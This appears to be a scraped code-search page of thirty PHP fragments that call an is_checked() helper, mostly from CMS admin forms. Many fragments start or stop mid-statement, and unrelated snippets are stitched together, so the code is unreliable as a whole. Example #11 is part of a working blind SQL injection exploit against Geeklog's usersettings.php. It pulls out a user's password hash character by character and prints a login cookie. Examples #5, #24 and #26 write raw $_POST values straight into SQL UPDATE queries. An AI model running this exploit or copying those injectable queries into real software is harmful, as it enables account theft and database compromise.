示例#1
0
 public static function setBoolFromRequet($key, $config)
 {
     if (isset($_REQUEST[$key])) {
         Globals::$Config->set(CFG_DEFAULT_SECTION, $config, Globals::$Config->toBool(is_checked($_REQUEST[$key])));
     } else {
         Globals::$Config->set(CFG_DEFAULT_SECTION, $config, Globals::$Config->toBool(false));
     }
 }
示例#2
0
function update_bool_config_from_request($key, $config)
{
    if (isset($_REQUEST[$key])) {
        Globals::$Config->set(CFG_SECTION_MAIN, $config, Globals::$Config->toBool(is_checked($_REQUEST[$key])));
    } else {
        Globals::$Config->set(CFG_SECTION_MAIN, $config, Globals::$Config->toBool(false));
    }
}
} else {
    is_checked($plugin['data']['adcampaign_status'], 1);
    echo ' /></td><td><label for="adcampaign_status">' . $BL['be_cnt_activated'] . '</label></td></tr>';
}
?>
		</table></td>
	</tr>
<?php 
if (!empty($plugin['data']['adcampaign_id'])) {
    ?>
	<tr>
		<td align="right" class="chatlist">&nbsp;</td>
		<td><table border="0" cellpadding="0" cellspacing="0" summary="">
			<tr>
				<td><input type="checkbox" name="adcampaign_duplicate" id="adcampaign_duplicate" value="1"<?php 
    is_checked(empty($plugin['data']['adcampaign_duplicate']) ? 0 : 1, 1);
    ?>
 /></td>
				<td><label for="adcampaign_duplicate"><?php 
    echo $BLM['save_copy'];
    ?>
</label></td>
			</tr>
		</table></td>
	</tr>
<?php 
}
?>

	<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td>
	</tr>
echo $plugin['data']['shop_pref_terms_format'] ? html_entities($plugin['data']['shop_pref_terms']) : html_specialchars($plugin['data']['shop_pref_terms']);
?>
</textarea></td>
	</tr>

<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td></tr>

	<tr>
		<td align="right" class="chatlist tdtop3"><?php 
echo $BLM['shopprod_api'];
?>
:&nbsp;</td>
		<td><table summary="" cellpadding="0" cellspacing="0" border="0">
			<tr>
				<td><input type="checkbox" name="pref_api_access" id="pref_api_access" value="1"<?php 
is_checked('1', $plugin['data']['shop_pref_api_access']);
?>
 onchange="enableSubmit();" /></td>
				<td class="f10"><label for="pref_api_access"><?php 
echo $BLM['shopprod_api_access'];
?>
</label>&nbsp;&nbsp;&nbsp;</td>
				<td class="chatlist"><?php 
echo trim($BLM['shopprod_api_key']);
?>
:&nbsp;</td>
				<td><input name="pref_api_key" type="text" id="pref_api_key" class="v12 width175" value="<?php 
echo html_specialchars($plugin['data']['shop_pref_api_key']);
?>
" size="20" maxlength="50" onchange="enableSubmit();" /></td>
			</tr>
示例#5
0
    $all_fields .= " , bo_content_head = '{$bo_content_head}' ";
}
if (is_checked('chk_all_content_tail')) {
    $all_fields .= " , bo_content_tail = '{$bo_content_tail}' ";
}
if (is_checked('chk_all_mobile_content_head')) {
    $all_fields .= " , bo_mobile_content_head = '{$bo_mobile_content_head}' ";
}
if (is_checked('chk_all_mobile_content_tail')) {
    $all_fields .= " , bo_mobile_content_tail = '{$bo_mobile_content_tail}' ";
}
if (is_checked('chk_all_insert_content')) {
    $all_fields .= " , bo_insert_content = '{$bo_insert_content}' ";
}
if (is_checked('chk_all_use_search')) {
    $all_fields .= " , bo_use_search = '{$bo_use_search}' ";
}
if (is_checked('chk_all_order')) {
    $all_fields .= " , bo_order = '{$bo_order}' ";
}
for ($i = 1; $i <= 10; $i++) {
    if (is_checked('chk_all_' . $i)) {
        $all_fields .= " , bo_{$i}_subj = '" . $_POST['bo_' . $i . '_subj'] . "' ";
        $all_fields .= " , bo_{$i} = '" . $_POST['bo_' . $i] . "' ";
    }
}
if ($all_fields) {
    sql_query(" update {$g5['board_table']} set bo_table = bo_table {$all_fields} ");
}
delete_cache_latest($bo_table);
goto_url("./board_form.php?w=u&bo_table={$bo_table}&amp;{$qstr}");
示例#6
0
        if ($id == 5) {
            $mission_hold = true;
        }
        if ($id == 15) {
            $mission_exp = true;
        }
        if ($id == 15) {
            echo "    <tr height=\"20\">\n";
            echo "<th>\n";
            echo "  <input type=\"radio\" name=\"order\" value=\"15\" checked='checked'>" . loca("FLEET_ORDER_{$id}") . "<br />\n";
            echo "  <br><font color=red>ВНИМАНИЕ! Экспедиция - очень рискованная миссия, не предназначенная для сэйва.</font>   </th>\n";
            echo "  </tr>\n";
        } else {
            echo "    <tr height=\"20\">\n";
            echo "<th>\n";
            echo "  <input type=\"radio\" name=\"order\" value=\"{$id}\" " . is_checked($id) . ">" . loca("FLEET_ORDER_{$id}") . "<br />\n";
            echo "     </th>\n";
            echo "  </tr>\n";
        }
    }
}
?>

   </table>
</th>

<th>
     <table  width="259" border="0" cellpadding="0" cellspacing="0">
     <tr height="20">
  <td colspan="3" class="c">Сырьё</td>
     </tr>
echo $BL['be_granted_download'];
?>
</label></td>
		</tr>
		<tr>
			<td><input name="file_public" type="checkbox" id="file_public" value="1"<?php 
is_checked("1", $file_public);
?>
 /></td>
			<td class="v10"><strong><label for="file_public"><?php 
echo $BL['be_ftptakeover_public'];
?>
</label></strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>

			<td><input name="file_gallerydownload" type="checkbox" id="file_gallerydownload" value="1"<?php 
is_checked(1, $file_gallerydownload);
?>
></td>
			<td class="v10"><label for="file_gallerydownload"><?php 
echo $BL['be_gallerydownload'];
?>
</label></td>
		</tr>
		</table></td>
	</tr>

	<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="5" /></td></tr>

	<tr>
		<td valign="top"><input name="file_aktion" type="hidden" id="file_aktion" value="1" />
			<input type="hidden" name="MAX_FILE_SIZE" value="<?php 
              <td align="right" class="v09"><?php 
    echo $BL['be_ftptakeover_status'];
    ?>
:&nbsp;</td>
              <td><table border="0" cellpadding="1" cellspacing="0" bgcolor="#E6EAED" summary="">
                  <tr>
                    <td><input name="file_aktiv" type="checkbox" id="file_aktiv" value="1"<?php 
    is_checked($phpwcms['set_file_active'], 1);
    ?>
 /></td>
                    <td class="v10"><strong><label for="file_aktiv"><?php 
    echo $BL['be_ftptakeover_active'];
    ?>
</label></strong>&nbsp;&nbsp;</td>
                    <td><input name="file_public" type="checkbox" id="file_public" value="1"<?php 
    is_checked($phpwcms['set_file_active'], 1);
    ?>
 /></td>
                    <td class="v10"><strong><label for="file_public"><?php 
    echo $BL['be_ftptakeover_public'];
    ?>
</label></strong>&nbsp;&nbsp;</td>
					<td><input name="file_replace" type="checkbox" id="file_replace" value="1" /></td>
                    <td class="v10"><strong><label for="file_replace"><?php 
    echo $BL['be_file_replace'];
    ?>
</label></strong>&nbsp;</td>
                  </tr>
                </table>
              </td>
            </tr>
示例#9
0
    echo $BL['be_admin_usr_ifadmin'];
    ?>
 <strong style="color:#FF0000">!!!</strong></label></td>
                </tr>
              </table></td>
          </tr>
          <tr>
            <td align="right" class="chatlist"><?php 
    echo $BL['be_admin_usr_verify'];
    ?>
:&nbsp;</td>
            <td><table border="0" cellpadding="0" cellspacing="0" summary="">
                <tr><td colspan="3"><img src="img/leer.gif" alt="" width="1" height="6"></td></tr>
                <tr bgcolor="#E7E8EB">
                  <td><input name="verification_email" type="checkbox" id="verification_email" value="1"<?php 
    is_checked($send_verification, 1);
    ?>
></td>
                  <td><label for="verification_email"><?php 
    echo $BL['be_admin_usr_sendemail'];
    ?>
</label></td>
                  <td><img src="img/leer.gif" alt="" width="4" height="21"></td>
                </tr>
                <tr><td colspan="3"><img src="img/leer.gif" alt="" width="1" height="6"></td></tr>
              </table></td>
          </tr>
          <tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="6"><input name="form_aktion" type="hidden" value="create_account"></td></tr>
          <tr>
            <td>&nbsp;</td>
            <td><input name="Submit" type="submit" class="button" value="<?php 
示例#10
0
  <td align="right" class="chatlist"><?php 
echo $BL['be_cnt_pages_from'];
?>
:&nbsp;</td>
  <td valign="top"><table border="0" cellpadding="0" cellspacing="0" bgcolor="#E7E8EB" summary="">
  <tr>
  	<td><input name="cpage_source" type="radio" value="0" <?php 
is_checked(0, $content["page_file"]["source"]);
?>
></td>
	<td><?php 
echo $BL['be_cnt_pages_fromfile'];
?>
&nbsp;&nbsp;</td>
	<td><input name="cpage_source" type="radio" value="1" <?php 
is_checked(1, $content["page_file"]["source"]);
?>
></td>
	<td><?php 
echo $BL['be_cnt_pages_manually'];
?>
&nbsp;&nbsp;&nbsp;</td>
  </tr></table></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="5"></td></tr>
<tr>
  <td align="right" class="chatlist"><?php 
echo $BL['be_cnt_pages_cust'];
?>
:&nbsp;</td>
  <td><input name="cpage_custom" type="text" class="f11" id="cpage_custom" style="width: 440px" value="<?php 
示例#11
0
$out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($rst_sql) . "&");
#then start extraction
$c = array();
$c = array_merge($c, range(0x30, 0x39));
$c = array_merge($c, range(0x61, 0x66));
$url = "http://{$host}:{$port}" . $path;
$_hash = "";
print "[*] Initiating hash extraction ...\n";
for ($j = 1; $j < 0x21; $j++) {
    for ($i = 0; $i <= 0xff; $i++) {
        $f = false;
        if (in_array($i, $c)) {
            $sql = "0) AND 0 UNION SELECT 1,IF(ASCII(SUBSTR(passwd FROM {$j} FOR 1))={$i},1,0x61646d696e5f626c6f636b) FROM " . $prefix . "users WHERE " . $where . " LIMIT 1/*";
            $url = "http://{$host}:{$port}" . $path . "usersettings.php";
            $out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($sql) . "&");
            if (is_checked()) {
                $f = true;
                $_hash .= chr($i);
                print "[*] Md5 Hash: " . $_hash . str_repeat("?", 0x20 - $j) . "\n";
                #if found , uncheck again
                $out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($rst_sql) . "&");
                break;
            }
        }
    }
    if ($f == false) {
        die("\n[!] Unknown error ...");
    }
}
print "[*] Done! Cookie: geeklog={$uid}; password="******";\n";
?>
示例#12
0
  <td align="right" class="chatlist"><?php 
echo $BL['be_cnt_reference_basis'];
?>
:&nbsp;</td>
  <td valign="top"><table border="0" cellpadding="0" cellspacing="0" summary="">
    <tr>
      <td bgcolor="#E7E8EB"><input name="creference_basis" type="radio" value="0" <?php 
is_checked(0, $content["reference"]["basis"]);
?>
></td>
      <td class="v10" bgcolor="#E7E8EB"><?php 
echo $BL['be_cnt_reference_horizontal'];
?>
&nbsp;</td>
      <td bgcolor="#E7E8EB"><input name="creference_basis" type="radio" value="1" <?php 
is_checked(1, $content["reference"]["basis"]);
?>
></td>
      <td class="v10" bgcolor="#E7E8EB"><?php 
echo $BL['be_cnt_reference_vertical'];
?>
&nbsp;&nbsp;</td>
	  <td class="chatlist">&nbsp;&nbsp;&nbsp;</td>
  	  <td><select name="creference_pos" id="creference_pos">
		<option value="0" <?php 
is_selected(0, $content['reference']["pos"]);
?>
><?php 
echo $BL['be_cnt_default'];
?>
</option>
示例#13
0
is_checked($plugin['data']['calendar_status'], 1);
?>
 /></td>
				<td><label for="calendar_status"><?php 
echo $BL['be_cnt_activated'];
?>
</label></td>
			</tr>
		</table></td>
	</tr>
	<tr>
		<td align="right" class="chatlist">&nbsp;</td>
		<td><table border="0" cellpadding="0" cellspacing="0" summary="">
			<tr>
				<td><input type="checkbox" name="calendar_duplicate" id="calendar_duplicate" value="1"<?php 
is_checked(empty($plugin['data']['calendar_duplicate']) ? 0 : 1, 1);
?>
 /></td>
				<td><label for="calendar_duplicate"><?php 
echo $BLM['save_copy'];
?>
</label></td>
			</tr>
		</table></td>
	</tr>

	<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td>
	</tr>
	<tr>
		<td>&nbsp;</td>
		<td>
示例#14
0
</option>
			<option value="21"<?php 
is_selected(21, $content['alink']['alink_type']);
?>
><?php 
echo $BL['be_random'] . ', ' . $BL['be_article_atitle'] . ', ' . $BL['be_admin_struct_orderasc'];
?>
</option>
		</optgroup>

	</select>

			</td>
			<td>&nbsp;&nbsp;</td>
			<td bgcolor="#e7e8eb" id="prio0"><input type="checkbox" name="calink_prio" id="calink_prio" value="1"<?php 
is_checked(1, $content['alink']['alink_prio']);
?>
 /></td>
			<td bgcolor="#e7e8eb" id="prio1"><label for="calink_prio">&nbsp;<?php 
echo $BL['be_use_prio'];
?>
&nbsp;&nbsp;</label></td>
		</tr>
		</table></td>
</tr>

<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="8" /></td></tr>

<tr id="calink_manual_0"<?php 
if ($content['alink']['alink_type']) {
    echo ' style="display:none"';
		<td><table summary="" border="0" cellpadding="1" cellspacing="0" bgcolor="#E7E8EB">
			<tr>

				<td><input name="cvisible" type="checkbox" id="cvisible" value="1"<?php 
is_checked(1, $content["visible"]);
?>
 /></td>
				<td><label for="cvisible"><?php 
echo $BL['be_admin_struct_visible'];
?>
&nbsp;&nbsp;</label></td>

				<td bgcolor="#FFFFFF">&nbsp;</td>

				<td><input name="cgranted" type="checkbox" id="cgranted" value="1"<?php 
is_checked(1, $content["granted"]);
?>
 /></td>
				<td><label for="cgranted"><?php 
echo $BL['be_granted_feuser'];
?>
&nbsp;&nbsp;</label></td>

			</tr>
		</table></td>
	</tr>

	<tr>

		<td>&nbsp;</td>
		<td style="padding: 12px 0 12px 0;">
        <td></td>
        <td>
            <input type="text" name="jqs_slidesjs_interval" id="jqs_slidesjs_interval" value="<?php 
echo $content['br_sliderjs']['slidesjs']['jqs_interval'];
?>
" class="br_module_w40 br_module_number" size="4" maxlength="6" />
            &nbsp;<?php 
echo $BL['modules'][$content["module"]]['jqs_interval'];
?>
</td>
    </tr>
    <tr>
        <td></td>
        <td>
            <input type="checkbox" name="jqs_slidesjs_pauseOnHover" id="jqs_slidesjs_pauseOnHover" value="1" <?php 
is_checked(1, $content['br_sliderjs']['slidesjs']['jqs_pauseOnHover']);
?>
 />
            <label for="jqs_slidesjs_pauseOnHover"><?php 
echo $BL['modules'][$content["module"]]['jqs_pauseOnHover'];
?>
</label>
        </td>
    </tr>
    <tr><td colspan="2"><div class="br_module_spaceh10"></div></td></tr>
    <tr>
        <td><span class="toggle" id="tslidesjs2"><img src="<?php 
echo $phpwcms['modules'][$content["module"]]['dir'];
?>
img/icon_info.gif" border="0" alt="help" /></span></td>
        <td><?php 
示例#17
0
" size="15"></td>
</tr>

<tr>
	<td>Tanggal</td><td>:</td>
	<td><input type="text" name="tanggal" id="tanggal" value="<?php 
echo $tanggal;
?>
" class="apply dd-mm-yyyy" size="12"></td>
	
</tr>

<tr>
	<td>Status</td><td>:</td>
	<td><input type="checkbox" name="status" id="status" value="1" <?php 
echo is_checked($status, '1');
?>
></td>
</tr>

<tr>
	<td colspan="3"><br>
		<input type="submit" id="simpan" value=" Simpan ">
		<input type="reset" id="reset" value=" Reset ">
		<input type="button" id="tutup" value=" Tutup ">
	</td>
</tr>
</table>

<input type="hidden" name="id" id="id" value="<?php 
echo $id;
</tr>
<tr>
	<td colspan="2"></td>
	<td><input type="radio" name="class" id="class_m" value="2" onclick="return false" <?php 
echo is_checked('2', $class);
?>
> <label for="class_m">Middle</label></td>
	<td><input type="radio" name="class" id="class_lain" value="5" onclick="return false" <?php 
echo is_checked('5', $class);
?>
> <label for="class_lain">Lain</label></td>
</tr>
<tr>
	<td colspan="2"></td>
	<td><input type="radio" name="class" id="class_mu" value="3" onclick="return false" <?php 
echo is_checked('3', $class);
?>
> <label for="class_mu">Middle-Up</label></td>
</tr>
</table>

<div class="clear"><br></div>

<table class="t-popup pad2 w50 f-left">
<tr>
	<td width="120">Luas Tanah</td><td width="10">:</td>
	<td><?php 
echo to_decimal($luas_tanah);
?>
 M&sup2;</td>
	<td class="text-right">Rp. <?php 
?>
 /></td>
					<td><label for="showactive"><img src="img/button/aktiv_12x13_1.gif" alt="" style="margin:1px 1px 0 1px;" /></label></td>
					<td><input type="checkbox" name="showinactive" id="showinactive" value="1" onclick="this.form.submit();"<?php 
is_checked(1, $_userInfo['list_inactive'], 1);
?>
 /></td>
					<td><label for="showinactive"><img src="img/button/aktiv_12x13_0.gif" alt="" style="margin:1px 1px 0 1px;" /></label></td>

					<td<?php 
if ($_userInfo['list_channel']) {
    echo ' class="channelSelectTd"';
}
?>
><input type="checkbox" name="showchannel" id="showchannel" value="1" onclick="this.form.submit();"<?php 
is_checked(1, $_userInfo['list_channel'], 1);
?>
 /></td>
					<td<?php 
if ($_userInfo['list_channel']) {
    echo ' class="channelSelectTd"';
}
?>
><label for="showchannel"><img src="img/symbole/newsletter_susbcription.gif" alt="Subscription" style="margin:1px 0 0 1px;" /></label></td>



<?php 
if ($_userInfo['pages_total'] > 1) {
    echo '<td class="chatlist">|&nbsp;</td>';
    echo '<td>';
					</tr>

					<tr><td style="background-color:#FFFFFF"><img src="img/leer.gif" alt="" width="1" height="3" /></td></tr>

					<tr>
						<td style="padding:1px 0;white-space:nowrap;">
							<label for="article_aktiv"><input name="article_aktiv" type="checkbox" id="article_aktiv" value="1"<?php 
is_checked(1, $article["article_aktiv"]);
?>
 />&nbsp;<?php 
echo $BL['be_admin_struct_visible'];
?>
</label>
							&nbsp;
							<label for="article_archive"><input name="article_archive" type="checkbox" id="article_archive" value="1" <?php 
is_checked(1, $article['article_archive_status']);
?>
 />&nbsp;<?php 
echo $BL['be_show_archived'];
?>
</label>
							&nbsp;
						</td>
					</tr>

				</table></td>
			</tr>

<?php 
if (isset($article["article_date"])) {
    ?>
示例#21
0
 /></td>
				<td class="v10"><label for="ctext_format0" class="checkbox"><?php 
echo $BL['be_ctype_plaintext'];
?>
</label></td>

				<td>&nbsp;</td>
				<td><input name="ctext_format" type="radio" id="ctext_format1" value="markdown" <?php 
is_checked('markdown', $content['ctext_format']);
?>
 /></td>
				<td class="v10"><label for="ctext_format1" class="checkbox">MarkDown</label>(<a href="http://en.wikipedia.org/wiki/Markdown" target="_blank" title="Wikipedia: Markdown">?</a>)</td>

				<td>&nbsp;</td>
				<td><input name="ctext_format" type="radio" id="ctext_format2" value="textile" <?php 
is_checked('textile', $content['ctext_format']);
?>
 /></td>
				<td class="v10"><label for="ctext_format2" class="checkbox">Textile</label>(<a href="http://en.wikipedia.org/wiki/Textile_%28markup_language%29" target="_blank" title="Wikipedia: Textile">?</a>)</td>

			</tr>
		</table>
	</td>
</tr>

<tr><td colspan="2" class="rowspacer7x7"><img src="img/leer.gif" alt="" width="1" height="1" /></td></tr>

<tr>
	<td align="right" valign="top" class="chatlist tdtop4"><?php 
echo $BL['be_cnt_plaintext'];
?>
示例#22
0
?>
</label></td>

				<td>&nbsp;</td>
				<td><input name="cimage_fx2" type="checkbox" id="cimage_fx2" value="1" <?php 
is_checked(1, $content['image_special']['fx2']);
?>
 /></td>
				<td class="v10"><label for="cimage_fx2" class="checkbox"><?php 
echo $BL['be_fx_2'];
?>
</label></td>

				<td>&nbsp;</td>
				<td><input name="cimage_fx3" type="checkbox" id="cimage_fx3" value="1" <?php 
is_checked(1, $content['image_special']['fx3']);
?>
 /></td>
				<td class="v10"><label for="cimage_fx3" class="checkbox"><?php 
echo $BL['be_fx_3'];
?>
</label></td>

			</tr>

		</table>
	</td>
</tr>


<tr><td colspan="2" class="rowspacer7x7"><img src="img/leer.gif" alt="" width="1" height="1" /></td></tr>
示例#23
0
?>
</td>
  </tr>
  <tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="4" /></td>
</tr>
	<tr>
		<td>&nbsp;</td>
		<td><table border="0" cellpadding="1" cellspacing="0" summary="">
			<tr bgcolor="#E7E8EB">
				<td><input type="radio" name="csearch_text_html" id="csearch_text_html0" value="0"<?php 
echo is_checked('0', $content['search']["text_html"], 0, 0);
?>
 title="redirect on success" /></td>
				<td class="v10"><label for="csearch_text_html0">Text&nbsp;</label>&nbsp;</td>
				<td><input type="radio" name="csearch_text_html" id="csearch_text_html1" value="1"<?php 
echo is_checked('1', $content['search']["text_html"], 0, 0);
?>
 title="redirect on success" /></td>
				<td class="v10"><label for="csearch_text_html1">HTML&nbsp;</label>&nbsp;</td>
			</tr>
		</table>
		</td>
	</tr>
  <tr>
    <td align="right" class="chatlist tdtop3"><?php 
echo $BL['be_cnt_intro'];
?>
:&nbsp;</td>
    <td valign="top"><textarea name="csearch_text_intro" rows="6" class="width440" id="csearch_text_intro"><?php 
echo isset($content["search"]["text_intro"]) ? $content["search"]["text_intro"] : '';
?>
示例#24
0
if (is_checked('chk_all_5')) {
    $all_fields .= " , it_5_subj = '{$it_5_subj}', it_5 = '{$it_5}' ";
}
if (is_checked('chk_all_6')) {
    $all_fields .= " , it_6_subj = '{$it_6_subj}', it_6 = '{$it_6}' ";
}
if (is_checked('chk_all_7')) {
    $all_fields .= " , it_7_subj = '{$it_7_subj}', it_7 = '{$it_7}' ";
}
if (is_checked('chk_all_8')) {
    $all_fields .= " , it_8_subj = '{$it_8_subj}', it_8 = '{$it_8}' ";
}
if (is_checked('chk_all_9')) {
    $all_fields .= " , it_9_subj = '{$it_9_subj}', it_9 = '{$it_9}' ";
}
if (is_checked('chk_all_10')) {
    $all_fields .= " , it_10_subj = '{$it_10_subj}', it_10 = '{$it_10}' ";
}
if ($all_fields) {
    sql_query(" update {$g5['g5_shop_item_table']} set it_name = it_name {$all_fields} ");
}
$qstr = "{$qstr}&amp;sca={$sca}&amp;page={$page}";
if ($w == "u") {
    goto_url("./itemform.php?w=u&amp;it_id={$it_id}&amp;fn={$fn}&amp;{$qstr}");
}
/*
else if ($w == "d")  {
    $qstr = "ca_id=$ca_id&amp;sfl=$sfl&amp;sca=$sca&amp;page=$page&amp;stx=".urlencode($stx)."&amp;save_stx=".urlencode($save_stx);
    goto_url("./itemlist.php?$qstr");
}
*/
		<td align="right" class="v09"><?php 
    echo $BL['be_fpriv_status'];
    ?>
:&nbsp;</td>
		<td><table border="0" cellpadding="0" cellspacing="0" summary="">
		<tr>
			<td><input name="dir_aktiv" type="checkbox" id="dir_aktiv" value="1"<?php 
    is_checked("1", $dir_aktiv);
    ?>
 /></td>
			<td class="v10"><strong><?php 
    echo $BL['be_ftptakeover_active'];
    ?>
</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
			<td><input name="dir_public" type="checkbox" id="dir_public" value="1"<?php 
    is_checked("1", $dir_public);
    ?>
 /></td>
			<td class="v10"><strong><?php 
    echo $BL['be_ftptakeover_public'];
    ?>
</strong></td>
		</tr>
		</table></td>
	</tr>
	<tr><td colspan="2" align="right" class="v09"><img src="img/leer.gif" alt="" width="1" height="5" /></td></tr>
	<tr>
		<td width="67" valign="top">
			<input name="dir_id" type="hidden" id="dir_id" value="<?php 
    echo $dir_id;
    ?>
示例#26
0
if (is_checked('chk_all_insert_content')) {
    $all_fields .= " , bo_insert_content = '{$bo_insert_content}' ";
}
if (is_checked('chk_all_use_search')) {
    $all_fields .= " , bo_use_search = '{$bo_use_search}' ";
}
if (is_checked('chk_all_order')) {
    $all_fields .= " , bo_order = '{$bo_order}' ";
}
for ($i = 1; $i <= 10; $i++) {
    if (is_checked('chk_all_' . $i)) {
        $all_fields .= " , bo_{$i}_subj = '" . $_POST['bo_' . $i . '_subj'] . "' ";
        $all_fields .= " , bo_{$i} = '" . $_POST['bo_' . $i] . "' ";
    }
}
if ($all_fields) {
    sql_query(" update {$g5['board_table']} set bo_table = bo_table {$all_fields} ");
}
delete_cache_latest($bo_table);
//외부이미지 전체 재수집
if (is_checked('as_save_all')) {
    $result = sql_query(" select wr_id, wr_content from {$g5['write_prefix']}{$bo_table} where wr_is_comment = '0' ");
    for ($i = 0; $row = sql_fetch_array($result); $i++) {
        if (!$row['wr_id'] || !$row['wr_content']) {
            continue;
        }
        $content = apms_content_image(addslashes($row['wr_content']));
        sql_query(" update {$g5['write_prefix']}{$bo_table} set wr_content = '{$content}' where wr_id = '{$row['wr_id']}' ");
    }
}
goto_url("./board_form.php?w=u&bo_table={$bo_table}&amp;{$qstr}");
示例#27
0
?>
</label></td>

				<td>&nbsp;</td>
				<td><input name="cimage_lightbox" type="checkbox" id="cimage_lightbox" value="1" <?php 
is_checked(1, $content['image_list']['lightbox']);
?>
 onchange="if(this.checked){getObjectById('cimage_zoom').checked=true;}" /></td>
				<td class="v10"><label for="cimage_lightbox" class="checkbox"><?php 
echo $BL['be_cnt_lightbox'];
?>
</label></td>

				<td>&nbsp;</td>
				<td><input name="cimage_nocaption" type="checkbox" id="cimage_nocaption" value="1" <?php 
is_checked(1, $content['image_list']['nocaption']);
?>
 /></td>
				<td class="v10"><label for="cimage_nocaption" class="checkbox"><?php 
echo $BL['be_cnt_imglist_nocaption'];
?>
</label></td>

			</tr>
		</table>
	</td>
</tr>


<tr><td colspan="2" class="rowspacer7x7"><img src="img/leer.gif" alt="" width="1" height="1" /></td></tr>
示例#28
0
echo $BL['be_skip_first_items'];
?>
</td>
		</tr>
		</table></td>
</tr>


<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="6" /></td></tr>

<tr>
	<td>&nbsp;</td>
	<td><table cellpadding="0" cellspacing="0" border="0" summary="">
		<tr>
			<td bgcolor="#e7e8eb"><input type="checkbox" name="news_paginate" id="news_paginate" value="1"<?php 
is_checked(1, $content['news']['news_paginate']);
?>
 /></td>
			<td bgcolor="#e7e8eb"><label for="news_paginate">&nbsp;<?php 
echo $BL['be_pagination'];
?>
&nbsp;&nbsp;</label></td>
			<td>&nbsp;&nbsp;</td>
			<td><select name="news_paginate_basis" id="news_paginate_basis" onchange="setPaginateBasis();">
			
				<option value="0"<?php 
is_selected(0, $content['news']['news_paginate_basis']);
?>
><?php 
echo $BL['be_pagniate_count'];
?>
示例#29
0
    $content["guestbook"]["notify"] = 0;
}
if (!isset($content["guestbook"]["notify_email"])) {
    $content["guestbook"]["notify_email"] = '';
}
?>
<tr>
	 <td align="right" class="chatlist"><?php 
echo $BL['be_cnt_email_notify'];
?>
:&nbsp;</td>
	 <td><table border="0" cellpadding="0" cellspacing="0" bgcolor="#E7E8EB" summary="">

	 <tr>
	 	<td><input name="cguestbook_notify" id="cguestbook_notify" type="checkbox" value="1" <?php 
is_checked(1, $content["guestbook"]["notify"]);
?>
 /></td>
	 	<td class="v10"><label for="cguestbook_notify"><?php 
echo $BL['be_cnt_notify_by_email'];
?>
</label>&nbsp;</td>
		<td><input name="cguestbook_notify_email" type="text" class="f11" id="cguestbook_notify_email" style="width: 200px;" size="10" value="<?php 
echo html($content["guestbook"]["notify_email"]);
?>
" /></td>
	 </tr>

	 </table></td>
</tr>
示例#30
0
    ?>
" size="10" maxlength="8" /></td>
		    </tr>

			<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="6" /></td></tr>


		    <tr>
		      <td align="right" class="chatlist"><?php 
    echo $BL['be_ftptakeover_status'];
    ?>
:&nbsp;</td>
		      <td><table border="0" cellpadding="0" cellspacing="0" bgcolor="#D9DEE3" summary="">
                <tr>
                  <td><input name="fkey_active" type="checkbox" id="fkey_active" value="1"<?php 
    is_checked(1, empty($fkey["active"]) ? 0 : $fkey["active"]);
    ?>
 /></td>
                  <td><label for="fkey_active"><?php 
    echo $BL['be_ftptakeover_active'];
    ?>
</label>&nbsp;&nbsp;</td>
                </tr>
              </table></td>
		      </tr>
		    <tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td>
		    </tr>
		    <tr>
		      <td>
			  &nbsp;
			  <input name="fkey_id" type="hidden" id="fkey_id" value="<?php